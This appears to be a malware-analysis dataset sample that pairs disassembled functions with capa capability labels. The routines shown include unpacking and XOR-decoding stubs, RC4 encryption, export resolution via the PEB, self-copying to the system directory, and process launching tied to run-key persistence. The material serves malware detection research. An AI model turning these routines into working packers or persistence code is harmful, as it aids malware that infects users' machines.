joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6c3ab0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.sect_1
lea edi, [esi - 0x1c3000]
push edi
jmp 0x6c3aca
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6c3ad1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6c3ac0
mov eax, 1
add ebx, ebx
jne 0x6c3ae3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6c3af4
jne 0x6c3b13
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6c3b13
dec eax
add ebx, ebx
jne 0x6c3b00
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x6c3ad8
add ebx, ebx
jne 0x6c3b0f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x6c3b65
xor ecx, ecx
sub eax, 3
jb 0x6c3b2b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6c3b9a
sar eax, 1
mov ebp, eax
jmp 0x6c3b36
add ebx, ebx
jne 0x6c3b36
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6c3b04
inc ecx
add ebx, ebx
jne 0x6c3b44
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6c3b04
add ebx, ebx
jne 0x6c3b51
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x6c3b46
jne 0x6c3b62
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6c3b46
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6c3b84
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6c3b76
jmp 0x6c3ac6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6c3b84
add edi, ecx
jmp 0x6c3ac6
pop esi
mov edi, esi
mov ecx, 0x106c2
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6c3ba2
cmp byte [edi], 0x25
jne 0x6c3ba2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6c3ba7
lea edi, [esi + 0x2b7000]
mov eax, dword [edi]
or eax, eax
je 0x6c3c1f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2d3bcc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2d3da0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6c3bd4
mov ecx, edi
jns 0x6c3c03
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2d3da8]
or eax, eax
je 0x6c3c19
mov dword [ebx], eax
add ebx, 4
jmp 0x6c3bf1
call dword [esi + 0x2d3da4]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x6c3c50
cmp al, 0xef
ja 0x6c3c43
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x6c3c25
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x6c3c32
mov ebp, dword [esi + 0x2d3dac]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x6c3c84
sub esp, 0xffffff80
jmp 0x5af8dc
Function at 0x10007c30
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x34
mov dword [0x10023d20], 0x1a77
mov dword [ebp - 8], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 8], eax
xor ecx, ecx
mov edx, dword [ebp - 8]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x10023d1c], 0x158d
mov esi, dword [0x10023d20]
add esi, 0x1c0f
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x18], ecx
jmp 0x10007cd9
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
mov dword [0x10023d1c], ecx
mov edx, dword [ebp - 0x14]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov esi, ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
jne 0x10007cc2
mov dword [0x10023d20], 0x2651
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x24]
cmp word [eax + ecx*2 - 0x18], 0x6f
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x2c], edx
je 0x10007d19
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
add eax, 0x599
mov dword [0x10023d20], eax
mov dword [ebp - 0x30], ecx
jmp 0x10007dda
mov eax, dword [ebp - 0x18]
mov ecx, 0x873
mov edx, dword [ebp - 0x14]
cmp word [edx + eax*2], 0
mov esi, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], esi
je 0x10007c80
mov eax, dword [ebp - 0x34]
add eax, 1
cmp eax, 0x104
mov ecx, dword [ebp - 0x10]
mov edx, eax
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x18], eax
jl 0x10007cd9
jmp 0x10007c80
mov eax, 0x599
mov dword [0x10023d1c], 0x599
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x2c], eax
jne 0x10007cc2
mov dword [0x10023d1c], 0xb26
mov eax, dword [ebp - 0x24]
add eax, 0xfffffff6
shl eax, 1
mov ecx, dword [ebp - 0x14]
add ecx, eax
mov dword [ebp - 0x38], ecx
mov eax, 0xb26
mov ecx, dword [ebp - 0x38]
cmp word [ecx], 0x64
mov dword [ebp - 0x2c], eax
jne 0x10007cc2
mov eax, 0x63f
mov dword [0x10023d1c], 0x63f
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x2c], eax
jne 0x10007cc2
mov eax, 0x10f
mov dword [0x10023d1c], 0x10f
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
cmp word [ecx + edx*2 - 0x10], 0x6c
mov dword [ebp - 0x2c], eax
jne 0x10007cc2
mov eax, 1
mov ecx, 0x10f
mov edx, dword [ebp - 0x14]
mov esi, dword [ebp - 0x24]
cmp word [edx + esi*2 - 0xe], 0x6c
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], eax
jne 0x10007cc2
mov eax, dword [ebp - 0x30]
add esp, 0x34
pop esi
pop ebp
ret
Function at 0x10007e30
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x98
lea eax, [esp + 0x30]
lea ecx, [esp + 0x40]
mov dword [0x10023d20], 0x1077
mov dword [esp], eax
mov dword [esp + 0x2c], ecx
call fcn.10007580
lea ecx, [0x100084a0]
mov edx, dword [esp + 0x30]
mov dword [esp + 0x44], edx
mov dword [esp + 0x78], 0x158200
mov edx, dword [0x10023d08]
mov dword [esp + 0x6c], edx
mov edx, dword [0x10023d0c]
mov dword [esp + 0x5c], edx
mov edx, dword [0x10023d10]
mov dword [esp + 0x7c], edx
mov edx, dword [0x10023d14]
mov dword [esp + 0x60], edx
mov edx, dword [0x10023d18]
mov dword [esp + 0x88], edx
mov dword [0x10023d20], 0x184e
mov dword [0x10023d1c], 0x133f
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
mov eax, dword [esp + 0x24]
cmp word [eax], 0x5a4d
mov dword [esp + 0x20], eax
jne 0x10007efd
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x3c]
add eax, ecx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x18]
cmp dword [eax], 0x4550
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
je 0x10007f1b
mov eax, dword [esp + 0x20]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [0x10023d20], 0x1087
mov dword [esp + 0x24], eax
jmp 0x10007ec1
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x48], eax
mov dword [0x10023d20], 0xfffffa68
mov dword [0x10023d1c], 0xffffe539
mov eax, dword [eax + ecx + 0x50]
mov dword [esp + 0x58], eax
call fcn.10007c30
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0xc], ecx
jne 0x10007f93
lea eax, [esp + 0x40]
mov ecx, dword [esp + 0x38]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.10008a10
mov dword [0x10023d20], 0x11fa
mov ecx, esp
lea edx, [esp + 0x40]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x10023d1c], 0x2140
mov dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x10007fa0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [0x10023d24], 0
mov dword [0x10023d28], 0
mov dword [0x10023d34], 0
mov dword [0x10023d20], 0xa49
cmp eax, 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
je 0x1000811a
jmp 0x10008014
mov eax, dword [0x10023d24]
mov dword [ebp - 0x20], eax
mov eax, dword [0x10023d28]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
jmp 0x10008025
xor eax, eax
mov ecx, eax
mov edx, eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x30], eax
jmp 0x10008025
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
mov esi, 0x100
mov dword [0x10023d1c], 0x155
add ecx, 1
mov dword [ebp - 0x34], eax
mov eax, ecx
mov dword [ebp - 0x38], edx
cdq
idiv esi
mov dword [0x10023d24], edx
mov dword [0x10023d20], 0x11f1
mov ecx, dword [ebp - 0x1c]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x38]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x3c], edx
cdq
idiv esi
mov dword [0x10023d28], edx
mov dword [0x10023d20], 0x1930
mov esi, dword [ebp - 0x3c]
mov cl, byte [ecx + esi]
mov byte [0x10023d2c], cl
mov edi, dword [ebp - 0x1c]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov cl, byte [0x10023d2c]
mov edx, dword [0x10023d28]
mov byte [edi + edx], cl
mov dword [0x10023d1c], 0x134
mov edx, dword [0x10023d24]
movzx edx, byte [edi + edx]
mov ebx, dword [0x10023d28]
movzx ebx, byte [edi + ebx]
add ebx, edx
mov dword [0x10023d1c], 0xcb2
and ebx, 0xff
mov dword [0x10023d34], ebx
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x34]
mov ch, byte [edx + ebx]
mov dword [0x10023d1c], 0xfa8
xor ch, cl
mov edx, dword [ebp - 0x18]
mov byte [edx + ebx], ch
mov dword [0x10023d20], 0x134d
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x24], ebx
jne 0x10007ff6
jmp 0x1000811a
mov eax, dword [0x10023d1c]
add eax, 0x115a
mov dword [0x10023d1c], eax
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x100081b0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x10023d28], 0
mov byte [0x10023d2c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
xor eax, eax
mov dword [0x10023d20], 0x21b3
mov dword [0x10023d24], 0
mov dword [ebp - 0x1c], eax
jmp 0x100081ff
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x1c]
mov dword [0x10023d20], 0x76b
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x10023d1c], 0xae2
mov eax, dword [0x10023d24]
add eax, 1
mov dword [0x10023d24], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x100081ff
mov eax, 0xb4a
xor ecx, ecx
mov dword [0x10023d1c], 0x1eac
mov dword [0x10023d24], 0
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov edx, 0xfffff78f
mov esi, 0x100
mov dword [0x10023d30], 0
mov dword [0x10023d20], 0x141d
mov edi, dword [0x10023d28]
mov ebx, dword [ebp - 0x18]
movzx ebx, byte [ebx + eax]
add ebx, edi
mov dword [ebp - 0x28], eax
xor edi, edi
mov dword [ebp - 0x2c], edx
mov edx, edi
mov edi, dword [ebp - 0x10]
div edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add ebx, edx
mov dword [0x10023d30], ebx
mov dword [0x10023d20], ecx
mov eax, ebx
cdq
idiv esi
mov dword [0x10023d28], edx
mov dword [0x10023d1c], 0x929
mov ecx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x28]
mov cl, byte [ecx + esi]
mov byte [0x10023d2c], cl
mov dword [0x10023d20], 0x1600
mov ebx, dword [ebp - 0x18]
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x10023d2c]
mov edx, dword [0x10023d28]
mov byte [ebx + edx], cl
mov dword [0x10023d1c], 0xaf1
mov edx, dword [0x10023d24]
add edx, 1
mov dword [0x10023d24], edx
cmp edx, 0x100
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x24], edx
jl 0x1000825a
jmp 0x100081f7
Function at 0x404de5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x408688
cmp edx, dword [eax]
je 0x404e07
add eax, 8
inc ecx
cmp eax, 0x408718
jl 0x404df8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x408688]
jne 0x404f35
mov eax, dword [0x408a48]
cmp eax, 1
je 0x404f0f
test eax, eax
jne 0x404e38
cmp dword [0x4085d4], 1
je 0x404f0f
cmp edx, 0xfc
je 0x404f35
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x404e6f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004032f0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004033f0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x404eb2
lea eax, [ebp - 0x1a4]
push eax
call fcn.004033f0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4065d0
push edi
call fcn.00405720
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004032f0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00403300
lea eax, [ebp - 0xa0]
push 0x4065b0
push eax
call fcn.00403300
push dword [esi + 0x40868c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00403300
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00405697
add esp, 0x2c
pop edi
jmp 0x404f35
lea eax, [ebp + 8]
lea esi, [esi + 0x40868c]
push 0
push eax
push dword [esi]
call fcn.004033f0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x431005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
mov ebx, 0x40915c
nop
mov ecx, 0x30d351a2
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43104e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x431024
nop
nop
nop
nop
mov eax, section..reloc
nop
mov ebx, 0x42f3f8
mov ecx, 0x6eb67097
nop
nop
test eax, eax
nop
nop
nop
je 0x431084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x8d25bbf
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e3d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x50fc62e5
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x4026dc
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00403910
test esi, esi
jne 0x402712
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004039d4
jmp 0x402730
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004025f0
mov edi, eax
test esi, esi
je 0x402730
cmp dword [ebx], 0
je 0x402730
dec esi
jmp 0x402719
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x402ce8
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x407008], 0x8088405
inc edx
mov dword [ebx + 0x407008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4030b4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x407014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x40314c
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40312c
xor eax, eax
push ebp
push 0x403125
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403168
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40312c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x407014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x407014], ax
mov esp, ebp
pop ebp
ret

Function at 0x403794
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x408034], 0
je 0x4037f5
cmp word [0x408208], 0xd7b2
jne 0x4037bd
cmp dword [0x408210], 0
jbe 0x4037bd
mov eax, 0x408204
call dword [0x408220]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x407080
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40381c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x407020], 0
jne 0x403811
push 0
push 0x407078
push 0x407080
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404164
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4041ca
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403a20
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402e94
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4041b4
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4041d1
lea eax, [ebp - 0x10]
call fcn.00403910
ret
Function at 0x404f30
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe14
xor edx, edx
mov dword [ebp - 0x1e8], edx
mov dword [ebp - 0x1ec], edx
mov dword [ebp - 0x1e4], edx
mov dword [ebp - 0x1e0], edx
mov dword [ebp - 0x1dc], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403c28
xor eax, eax
push ebp
push 0x4050d8
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x1dc]
mov eax, dword [ebp - 4]
call fcn.004048a4
mov eax, dword [ebp - 0x1dc]
call fcn.0040492c
test eax, eax
jne 0x4050ad
lea edx, [ebp - 0x1e0]
xor eax, eax
call fcn.004026dc
mov edx, dword [ebp - 0x1e0]
mov eax, dword [ebp - 4]
call fcn.00403b84
je 0x4050ad
lea eax, [ebp - 8]
call fcn.00403910
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.00404d90
cmp dword [ebp - 8], 0
je 0x4050ad
mov edx, dword [ebp - 8]
mov eax, 0x4050ec
call fcn.00403d20
test eax, eax
jg 0x4050ad
push 0
mov eax, dword [ebp - 4]
call fcn.00403c38
push eax
lea edx, [ebp - 0x1e4]
xor eax, eax
call fcn.004026dc
mov eax, dword [ebp - 0x1e4]
call fcn.00403c38
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x4050ad
push 0x405120
lea eax, [ebp - 0x1e8]
call fcn.00404ea4
push dword [ebp - 0x1e8]
push 0x40512c
mov eax, dword [ebp - 8]
call fcn.00403a38
lea edx, [ebp - 0x1ec]
call fcn.004048e8
push dword [ebp - 0x1ec]
push 0x405138
lea eax, [ebp - 0xc]
mov edx, 5
call fcn.00403af8
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d8]
call fcn.00402a2c
lea eax, [ebp - 0x1d8]
call fcn.004027c8
mov edx, dword [ebp - 8]
lea eax, [ebp - 0x1d8]
call fcn.00403dcc
call fcn.00402adc
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 0x1d8]
call fcn.00403dcc
call fcn.00402adc
lea eax, [ebp - 0x1d8]
call fcn.00402b9c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4050df
lea eax, [ebp - 0x1ec]
mov edx, 5
call fcn.00403934
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00403934
ret

Function at 0x405c80
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
xor eax, eax
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x108], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x405d5f
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
lea eax, [ebp - 0x104]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
lea eax, [ebp - 0x108]
lea edx, [ebp - 0x104]
mov ecx, pe_nt_image_headers32
call fcn.00403a20
mov edx, dword [ebp - 0x108]
lea eax, [ebp - 4]
mov ecx, 0x405d74
call fcn.00403a84
push 0
mov eax, dword [ebp - 4]
call fcn.00403c38
push eax
lea edx, [ebp - 0x10c]
xor eax, eax
call fcn.004026dc
mov eax, dword [ebp - 0x10c]
call fcn.00403c38
push eax
call sub.kernel32.dll_CopyFileA
push 0x405d80
push 0x405d8c
push 0x405da4
push 0x405dac
call sub.kernel32.dll_WritePrivateProfileStringA
mov eax, 0x405dbc
call fcn.00405b9c
test al, al
jne 0x405d39
push 0
call sub.kernel32.dll_ExitProcess_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405d66
lea eax, [ebp - 0x10c]
mov edx, 2
call fcn.00403934
lea eax, [ebp - 4]
call fcn.00403910
ret
Function at 0x405dd0
Capabilities:
Copy file
Create process on windows
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
xor eax, eax
push ebp
push 0x405e56
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x405e64
lea edx, [ebp - 4]
xor eax, eax
call fcn.004026dc
mov eax, dword [ebp - 4]
call fcn.00403c38
push eax
call sub.kernel32.dll_CopyFileA
push 0
push 0x405e84
call sub.kernel32.dll_WinExec
push 0
push 0x405f10
lea edx, [ebp - 8]
xor eax, eax
call fcn.004026dc
mov eax, dword [ebp - 8]
call fcn.00403c38
push eax
call sub.kernel32.dll_CopyFileA
push 0
push 0x405f28
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405e5d
lea eax, [ebp - 8]
mov edx, 2
call fcn.00403934
ret